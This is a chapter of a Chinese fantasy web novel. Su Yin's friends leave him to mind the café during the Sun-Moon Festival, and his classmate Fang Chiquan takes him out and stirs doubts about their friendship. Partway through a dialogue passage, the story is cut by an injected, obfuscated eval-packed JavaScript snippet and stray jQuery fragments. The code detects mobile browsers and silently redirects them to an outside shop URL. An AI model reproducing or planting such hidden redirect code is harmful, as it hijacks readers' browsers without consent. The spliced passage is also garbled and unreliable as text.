第二天的晨曦洗去了夜色下的阴影,书页折成的鸟雀跳跃着高歌太阳,报童骑车绕过堆积的书丘,幻想自己是驰骋荒野的骑兵,花贩笑着接过报,转身送了他一支金盏花。欣然接受神明安排的使命,尽管少些波折和转变带来的刺激,却渐渐在日常里形成了某种心照不宣的秩序。
星辰的光辉已经在阳光下黯然失色,但苏银心里前夜还在历历在目。
后来因为时间太晚,椿景就留宿在咖啡馆了。二楼只有两个房间有床,要不然就是睡客厅或楼下的沙发。她似乎理所当然应该和赵一诚共枕,但不知是发生了什么,当时赵一诚却仓皇地抱着枕头逃到了客厅:“姑奶奶您饶了我吧!停!别过来。我睡沙发我睡沙发……”
她站在他房间门口,只穿着件单薄的睡裙,满脸鄙夷:“合着你……?”
“对,没错,是……但是又怎样?!这根本无关紧要!”
“看你平常对人的甜言蜜语说那么熟练,我一直以为……”
“小银?吵到你了吗?啊真是抱歉,没什么事情,一点小矛盾而已……该死的,明明是好心才给你留宿一晚上。够了,查瑞娅!你别说了,快点睡觉!”
“当然啦,这种事确实无关紧要。”椿景耸了耸肩,掩上房门,“我只是很意外。”
苏银不明所以,没多问,也回房间睡下了。一夜无梦,算是安稳。等阳光透过纱帘照入屋内时,忧虑已随着流淌的星河一并而去了,睁开眼后只觉得神清气爽。
经过观星时的一番谈话,椿景明显和他熟络不少,本就活泼热情的性格更加放开了一点。至少先前她不会主动喊他名字来打招呼,最多彼此颔首示意。早饭时,她甚至有意想向他透露昨夜睡前的事情,但赵一诚的微笑里多少隐含了些杀意,她才没在这个话题多做停留。
“你明明不信教,不受那些戒律的约束,何必呢?”椿景摇摇头,“啧啧啧,你们两个……显得我简直像是乐园里引诱亚当和夏娃的毒蛇。”
“你们诺克图人多少也太放纵了些。”
“唉呀。魔鬼教人如何去接受和享受,人却反倒责怪魔鬼堕落。好啦,苏银已经被我们搞得一头雾水了,不说了。”
营业期间,椿景并没回去。她和理靡拌嘴过几句后,靠在柜台上,百无聊赖地翻着借阅名册。她喃喃道:“竟然有不少名人来过,难不成是这里的装修显得比较符合他们的身份?”
苏银看向名册:“真的吗?完全没注意到过。”
“啊,准确来说只是贵族里一些比较活跃的家伙,不是那种实业界的有名。他们不怎么上报纸,所以可能你没太在意那些名字。”椿景的眼镜折射出幽幽的光,“一想到他们发现自己在这根本无人理会,只好拿着书灰溜溜地离开,就觉得新世界着实有趣。”
“之前有位侯爵来这的时候,我们倒是都提前听说了。”
“谁啊?不过侯爵确实可以更嚣张些。”
“莱缪尔·伊卡洛斯。”
“哦,这家伙……的确挺有名。但坦白说,贵族里没什么人把他当同类,他更多是个少年成名的科学家。”椿景说,“他也在雷德伦斯城?我记得他旧世界里住得离卡德维斯还挺远的来着。”
苏银苦笑了下,说:“你对人类贵族的事情了解得很多呢。”
“不了解清楚他们的事,打交道时就很麻烦。他们大部分都在乎名声又好面子,稍有闪失对方就觉得你失礼。但其实这些社交游戏无聊死了。”她涂着深紫指甲油的手指在借阅册上画着圈。
“这样啊……”苏银垂下眼帘,说,“说实话,我一直觉得离你们很遥远。这种上流社会的生活真是难以想象。”
椿景愣了下,她把手撑在桌上,侧头看向他:“不要这么觉得啊。赵一诚和我都不是那种因为出生不同就自诩高人一等的家伙。而且我真心不喜欢贵族的这些麻烦事,分明是拉着朋友游山玩水更有趣不是吗?我猜那家伙跟我想法应该差不多。”
“何况,哪里远啦?”她伸手勾住了他的肩,“我们这不是很近吗?这还远的话什么叫近?”
“有客人……”苏银提醒道。他避开椿景的目光,望向被拉开的门后走进来的人。看清来人后,他眼里流露出一瞬的惊讶。
那人走到柜台前,没轻没重地就打了招呼:“哟,苏银你有女朋友了?妮子长得很漂亮嘛。”
“误会了!她是一诚的女朋友……”苏银慌忙道,“你怎么也不提前写个信或者打个电话?”
“我说呢,还以为木头同桌铁树开花了。赵一诚倒是桃花旺得很。”方炽泉晃了晃头,“我去城中办点事,路过这就来看看。再说了,上次你们到访我家可不是也没提前告知?”
不管怎样,旧友的来访让苏银感动惊喜。他转身跑进厨房告诉了赵一诚。刚好他和许织略做了咖啡蛋糕,就切好端了出来。
“味道不错,就是长得丑了些。”方炽泉摆摆手中的勺子,评价道。
“谁让你来这么不巧?你来得再晚一点就能吃到好吃还好看的了。”赵一诚回击道。
苏银给理靡端了一块后,和其他几人就站在柜台旁边吃边聊着,主要是介绍椿景和方炽泉彼此认识了一下,又谈及零星学生时代的往事和近来的打算。但毕竟仍是营业时间,加之琉安去和新供应方签合同了,于是他们没闲聊太久就各自忙各自的事了。
方炽泉先走后,椿景对苏银小声抱怨道:“我不喜欢这家伙。”
“小方他家是经商发家的,没受过什么贵族式的教育……所以说话可能有些没礼貌。”苏银苦笑说,“不过他没什么恶意的,他一直这个样子。”
椿景摇摇头:“我没有责怪他的意思,我纯粹就是看他有点不爽。总觉得很奇怪,哪里很奇怪我也说不上来。”
“没事,可能他长得就欠。我第一次见到他的时候也看他不爽。”赵一诚问道,“你自己走回去吗?”
“不回占卜馆,我要去趟朋友家呢,所以不用送我了。”她摆摆手,“拜拜啦,日月节那天见。”
目送椿景离开后,苏银转头问赵一诚:“日月节的时候咖啡馆会准备庆祝活动吗?”
“既然城里筹备统一的庆典了,可能就不了吧。”
日月节是北半球的弗斯尼亚人都过的一个节日,时间在一年里昼夜等长的时候,因而也分为两个日月节,一个在春分日,一个在秋分日。二者都寓意着日月神明执掌万物的交替变化。在人类主导的国度里,宗教信仰淡薄,所以认为这一天白昼与黑夜协调,日月交相辉映,是情人在天地见证下相互告白的最好时日,于是被当成情人节来过。
然而,圣教会主导下的光明母神崇拜,则赋予这一节日更多的宗教含义,认为从春分日开始,光明母神将执掌更多权力,于是此后极大地赐予信徒力量和恩惠,并实现信徒在日月节这一权力交换之时祈求的愿望,直至秋分日她的力量开始衰微。而那之后,就是信徒重新供奉和祭祀,以信仰助母神重振光辉的阶段。如此循环往复。
暗神教则恰与之相反,并且隐含更多敌对的意味。暗神教的信徒以维斯梵的分支诺克图人、羽族的分支尼法里姆人和部分北深海族为主,他们在秋分日庆祝日月节,以庆贺黑暗神战胜母神而重新莅临王位,并且往往在这一日举行全民狂欢,奉行纵欲和享乐的宗旨。
但人类不在乎那么多,有时他们二者皆过。很多人类情侣会在春分的日月节表白,而后在秋分的日月节结婚,几乎无所谓任何宗教含义。
所以雷德伦斯城的日月庆典上大概会有很多情侣活动,苏银这么想着,事实上他没什么参与庆典的必要,毕竟日月节的三种含义都对他而言没什么意义。但椿景极力要求他一起去,赵一诚也不反对,他就勉为其难同意了。好吧,或许为朋友发光发热也没什么不好。
日月节的前一天傍晚,咖啡馆提前打了烊,苏银走到门外,把正在营业的牌子翻了个面。转过身,他突然注意到门口的地上放着什么。
一封信?
他疑惑地捡起信封,打量了下。纯白的信封上火漆的图案是一朵蔷薇,他猜想信或许是给赵一诚的,于是停下了原本正要拆开的动作。
“一诚,这好像是给你的信。”苏银回到馆里,说道。
“哟,这个时间点的信,莫不是有人给我寄情书?”
“说什么玩笑话呢……”苏银无奈地说,“它被随便地放在地上了。我们之后是不是应该在门口装个信箱?”
但赵一诚没有回应,聚精会神地看着手里的信纸。苏银察觉到他脸上一闪而过的凝重,刚想问信里写了什么,他却抬起头,随手把信纸放回信封,塞进了口袋,笑着问:“抱歉,刚走神了,小银你刚才说什么?”
“……”苏银明白,他又像以前一样不愿告诉他那些所谓水很深的事情,这种时候再怎么问他也只会东拉西扯地瞒着不说。有些沮丧,但已经习惯了。他木然地重复一遍:“嗯……我们之后要不要装个信箱?”
日月节来临的一早椿景就来了。她踩着高跟,身穿一字肩缎面礼服,胸口别着印有丹维里安家徽的胸针,戴着黑色蕾丝手套,看着十分庄重。
“你怎么穿这么随便?”她装作嫌弃的样子,理了下赵一诚的外衣领子。
“你才是,打扮那么精致干什么?又不是重要的正式场合。”似乎是嫌腰带麻烦,他直接把它往风衣口袋一塞,然后转头对苏银说道,“银,我后来想了想,能不能麻烦你看店?”
话很突然,苏银愣了下,不知所措地看着他。
“喂,你这什么意思!”椿景冲赵一诚喊道,“那天明明说好了吧!”
赵一诚皱起眉看向她,用唇语说了什么。椿景表情冷静下来,但随即又怒目骂了一句:“真该死的!”
“没事,确实店里也不能完全没人看着。”苏银强颜欢笑着说,“本来我也不太喜欢人多的地方。我就不去了吧。”
“小银,对不起。”
“没关系。你们去吧。节日快乐。”
“嗯,节日快乐。”
看他们并着肩离开,苏银叹了口气,但随即又摇摇头,回到了柜台前,百无聊赖地翻起账本。熟悉的字迹,真是讨厌……
“徒儿呀,你别难过啊。这不还有老婆子我陪你看店嘛?”理靡从她那壁炉旁的专属座位上抬起头来道,“你要是觉着无聊,我教你点有意思的巫术怎么样?比如说古巫族小孩子都喜欢的一个血偶术,把血浇在人型的东西上,就能看它跳舞嘞。”
“哦不不不,瞧我这可怜徒儿的表情!”她恍然意识到苏银不是古巫族,改口道,“或者我教你变声术吧,小娃娃们一般很喜欢这个。”她勾了勾手指,牵动暗色的光线在喉咙处点了几下,随后她张开嘴,发出了鸭子叫般的声音:“嘎嘎扎咋吗呀嘎嘎嘎!”
苏银忍不住地笑了起来:“老师,我不是小孩子了。”
“嘎哇扎都嘎吧多啦。”
理靡在喉咙处又轻点几下,恢复了原本的声音:“咳咳,我的意思是在我这都差不多,你也还是个孩子呢。开心点,多笑笑,愁眉苦脸老得快。”
最后理靡还是放弃了教苏银一些稀奇古怪的巫术的想法,她双掌拍拍桌上的书,感慨道:“你们这个年纪的小娃娃最麻烦了,明明喜欢这些东西的,还要装成觉得很幼稚很无聊,好像到了一定年纪就必须只喜欢苦大仇深的宏大议题了!唉,这种东西交给我们这些老头老太就好了嘛,年轻人多享受人生才是。”
“老师,和我说说你看的这些书吧。”苏银无奈地转移话题说。
“你想知道?但其实我还没总结出什么。这本是《旅人手记》,这本是《创世纪》,这本是《亡故者回忆录》……还有很多堆在古书室里,我没拿上来。目前我最大的推测是,古巫族或许就是伊普罗勒人。”
“伊普罗勒人?”
“嗯……这个世界原住民的自称。并且如果无误,那么旧世界几乎每个神话都谈及的,迁徙去往神赐之地的神选之民就是伊普罗勒人。而我之前似乎也跟你提过,最初的古巫族是一个庞大的族群,但后来据传有很大部分族人带着时间秘术迁徙离开了。”
“但仅迁徙这样一处微妙的相同不足以让我得到这样的猜测。于是,有意思的是!古书室里原住民留下的书里,不少都谈及了时间之术。此前旧世界我从未见过哪个民族如此多地关注时间巫术……这就很难不让人建立联系啦。毕竟时间巫术基本算是古巫族的专利。”
苏银凝神听着,感觉世界观都几乎要被重塑。他多少有点想接受理靡的推测,因为新世界的出现,以及古书室的出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688769|207851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,都表明了人类此前学习的历史注定存在漏洞。所谓的神话时期,藏着太多不为人知的秘密。
“可,老师,这一切都是为什么呢?伊普罗勒人,或者说古巫族,过去究竟发生了什么,才让他们迁徙到这里?”
理靡摇摇头,正要回答,咖啡馆的门却推开了。方炽泉探头探脑地走了进来,看到他们后,快步直接向他们走来。
“老太太您好啊。”他打了声招呼后,把手搭在垒起的书上,看向苏银,“你怎么不跟他们去?”
“我得看店……”
“那天不是说好了都去吗?怎么?赵一诚他变卦了?”
“也不是,就是,我……”
“去逛逛吧,别理他。”方炽泉勾住苏银的肩,咧嘴一笑,说“你想去的吧?大不了就当陪同桌我去嘛,我一个人老没意思了。”
“那店里就……”
“就当宠宠我这个单身汉嘛。”
苏银拉开他搭在肩上的手,叹了叹气:“你那个女仆呢?”
“我才不要她跟着我。她能当街抡拳头把我揍死!唉……真是的,苏银你变了。同桌我明明是一片好意想带你出去一起过节。”方炽泉说着,装模作样地也叹气起来。
苏银求助地看向理靡。
她招了招手,示意他靠近点。
“没事,你去吧。老婆子我也能看店。”她说完,又附耳低声道,“不过你这朋友……你以后少和他接触些。”
苏银愣了愣,不解地看着她。但理靡只是拍了拍他,笑起来:“年轻人就享受年轻人该享受的。玩得开心啊。”
“嘿嘿,走吧。”方炽泉嬉笑着挽过苏银的手臂,拉着他出了门。
一路上都是向城中走的人,脸上皆洋溢着过节的喜悦笑容。他们远远地已经能听到钟塔下礼炮的轰响和乐队的演奏。写着祝福语的书页顺着风在街巷里肆意飞扬,像信鸽传递着爱的诗篇。
离中心的广场和教堂还有些距离的街道两侧,房屋就已经装点得颇有节日氛围了。赭红的屋顶上垂下黄紫两色的缎带,鲜花装点在每一处角落,屋前摆出盖着白帆布的木棚,上面放满鲜花和手作的小物。
木棚一路延伸向城中的广场,集市就这样铺开了。远望而去,朝阳下的棚顶染上蜜色,蜿蜒出去,仿佛晨曦在地面汇聚成河。攒动的人影更加多了,管乐的声音里混着脚步声、叫卖声、说笑声,热闹却不吵闹,交织成一段和鸣的乐章。
被热心的妇人各塞了一束金盏花,又拿上了几支黄玫瑰,他们没再停留,直接来到了最热闹的城中广场。苏银抬头看向纯白色的教堂,它尖顶上的母神浮雕镀着晨光,反射出普度的光辉。教堂上随风摆动的缎带只有金色,正门上方新编的金黄花环垂下来,铃铛摇晃,发出清脆的声响。
教堂边的钟塔下,管弦乐队的篷车停靠着。几十人分成两队,在教堂两侧奏乐,他们穿着洁白的礼服,衣摆和袖口镶着金边,黄铜管乐反射出金属的光芒,提琴上雕着鎏金的花纹。教堂的台阶上,唱诗班的歌声如泉水般空灵清澈,虽然在人群里略显单薄,但也是不可或缺的声音底色。欢快的旋律就这样流淌在整个广场,穿梭在人群的缝隙,庆祝着在光明母神的祝福下节日庆典的开始。
“诶,那里怎么都在排队啊?买什么呢?”方炽泉伸长着脖子,晃了晃扯着苏银袖子的手臂,“在卖冰激凌!牌子上写着两根的话半价!”
苏银无奈地顺着看过去,注意到摊子前恰好是桐雀和悫酿。悫酿满脸通红地不知是在生气还是在不好意思,扭捏地接过了桐雀递给他的甜筒。桐雀穿着青绿色的裙子,她开朗地似乎说了什么,就拉着悫酿的手跑进人群里,也不知道下一站去了哪。
排在队伍里,方炽泉在耳畔不停地感叹庆典的热闹,偷听旁人的闲聊又给苏银复述一遍。但苏银心不在焉地张望着来来往往的人群,似乎在找什么人。他又察觉到不远处花店门口的摊位前,琉安正在利落地从钱袋子里拿钱,她身旁,许织略抱着一大捧玫瑰花,脸都几乎被花全部挡住。
真好,大家都很开心。苏银心想着。方炽泉用力拽了下他的袖子,他才回过神来。
“你要什么口味?”
“都可以吧……”
“诶你怎么和以前还是一个样!”方炽泉挑了挑眉,转头对摊主说,“两个都要红茶味。”
“红茶?怎么还有红茶味……”苏银诧异地看向菜单,才发现上面就没什么正常的味道。
拿过冰激凌,尝了一口,奶油苦中带甜,充斥着红茶古朴的香味。方炽泉咂着嘴道:“好吃呢。你们咖啡馆的菜单以后也应该加一个红茶冰激凌才是。”
苏银点了点头后,问道:“你有看到一诚他们吗?”
“你那么在乎他们干什么?他们又不在乎你。”方炽泉随口应道,“我们跟他俩压根就不是一个世界的人。”
闻言,苏银心里空了一下。他辩解道:“但我们都是朋友……”
“朋友?”方炽泉撇了下嘴,又笑起来,“同桌,你怎么可以比我还傻?上次那个叫椿景的,她对我嗤之以鼻的轻视态度你难道看不出来嘛?他们这些贵族少爷小姐才不会看得起我们嘞。”
“但一诚……”
方炽泉冷哼一声:“他确实中学时候就跟我们玩在一起,但你不觉得他其实根本没把我们当朋友放在心上吗?为了和女朋友开心,就把你一个人丢在咖啡馆看店?反正我就是再贪恋美色,也做不出这种见色忘友的事。”
苏银茫然地又望向了纯白的教堂。他不明白,他确实不明白,在赵一诚和椿景那里,自己究竟是什么?朋友?还是就像方炽泉说的,一个可以弃之的取乐之物而已。阶层的壁垒永远宛如一道深渊裂谷横亘在他们之间,让心灵的联系岌岌可危。人的言语是会带有欺骗的,可欺骗他的究竟是谁?赵一诚送了他很多东西,可其实,他对谁都这样,不是吗?椿景和他谈心,但那或许只是医生对病患的一种责任感而已呢?
方炽泉的一番话令他不知所措。或许他心中本就有怀疑和不安的种子,只是对方的话助长了种子的生根发芽。
“别去想他们了。找个地方吃午饭吧!听说下午的时候主教要讲话,替所有人祈求母神庇佑。我们还可以玩很久呢。”
“嗯,走吧。”